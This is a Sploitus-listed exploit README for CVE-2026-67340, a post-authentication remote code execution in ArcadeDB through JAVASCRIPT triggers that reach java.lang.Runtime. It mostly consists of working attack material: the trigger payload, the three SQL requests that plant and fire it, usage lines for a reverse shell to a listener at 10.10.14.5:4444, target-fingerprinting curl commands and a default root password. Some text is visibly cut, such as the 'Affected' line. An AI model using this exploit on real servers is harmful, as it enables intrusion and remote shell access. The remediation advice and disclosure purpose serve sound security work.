Sploitus

Exploit for CVE-2026-67340

githubexploit Β· 2026-08-04

Exploit Code

README70 lines
## https://sploitus.com/exploit?id=8EADDC1D-DA94-52A3-8A10-B50387490F94
# CVE-2026-67340 β€” ArcadeDB JAVASCRIPT Trigger-Script RCE (post-auth)

Post-authentication remote code execution in [ArcadeDB](https://github.com/ArcadeData/arcadedb)
(a Java multi-model database) via a **JAVASCRIPT trigger** that reaches host classes.

A trigger's GraalVM polyglot engine is built with a host-class allow-list that includes
**`java.lang.*`** (`ScriptTriggerExecutor.setAllowedPackages`), so a trigger script can call:

```js
Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c",""]);
```

`allowCreateProcess(false)` does **not** block it β€” `Runtime.exec` is a *host method call*
permitted by `HostAccess.ALL`, not GraalVM's guest process API. Creating a trigger needs only the
**`UPDATE_SCHEMA`** permission (weaker than the `UPDATE_SECURITY` that gates direct scripting), so
`root` can do it β€” a **post-auth** RCE over the HTTP API.

- **Affected:** ArcadeDB ` The direct `language:js` command path is **not** the vector β€” it has no allowed packages
> (`Java.type` blocked) and is gated behind `UPDATE_SECURITY`. Only the **trigger** executor
> hard-codes `java.lang.*`.

## Requirements

Python 3 standard library only β€” no dependencies. Valid ArcadeDB credentials with `UPDATE_SCHEMA`
(e.g. `root`). ArcadeDB has no hard-coded default password, but its own `docker-compose.yml` ships
the example `root:playwithdata`, which is a common leave-in-place credential.

## Usage

```bash
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444

# blind command
python3 exploit.py http://10.10.10.10:2480/ -c 'id > /tmp/pwned'

# custom credentials / database
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444 -U root -P playwithdata -d mydb
```

## How it works

Three authenticated `POST /api/v1/command/` requests (`language:sql`):

1. `CREATE DOCUMENT TYPE Pwn`
2. `CREATE TRIGGER pwn BEFORE CREATE ON TYPE Pwn EXECUTE JAVASCRIPT
   'var p=Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","echo |base64 -d|bash"]); true;'`
3. `INSERT INTO Pwn SET x = 1` β€” the `BEFORE CREATE` trigger fires and the JavaScript executes.

The OS command is base64-wrapped so the JavaScript/SQL/JSON layers need no nested-quote escaping,
and the script omits `waitFor()` so `exec` returns immediately (the child keeps running, the
request doesn't block).

## Identifying a target

```bash
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:2480/api/v1/databases   # 401 -> ArcadeDB HTTP API
curl -s -u root:playwithdata http://10.10.10.10:2480/api/v1/databases               # lists databases
```

## Remediation

Upgrade to ArcadeDB β‰₯ 26.7.2, set a strong `rootPassword` (never `playwithdata`), don't run
ArcadeDB as root, restrict `UPDATE_SCHEMA`, and keep the HTTP API/Studio off untrusted networks.

## Disclaimer

For authorized security testing and education only. Use it only against systems you own or have
explicit permission to test.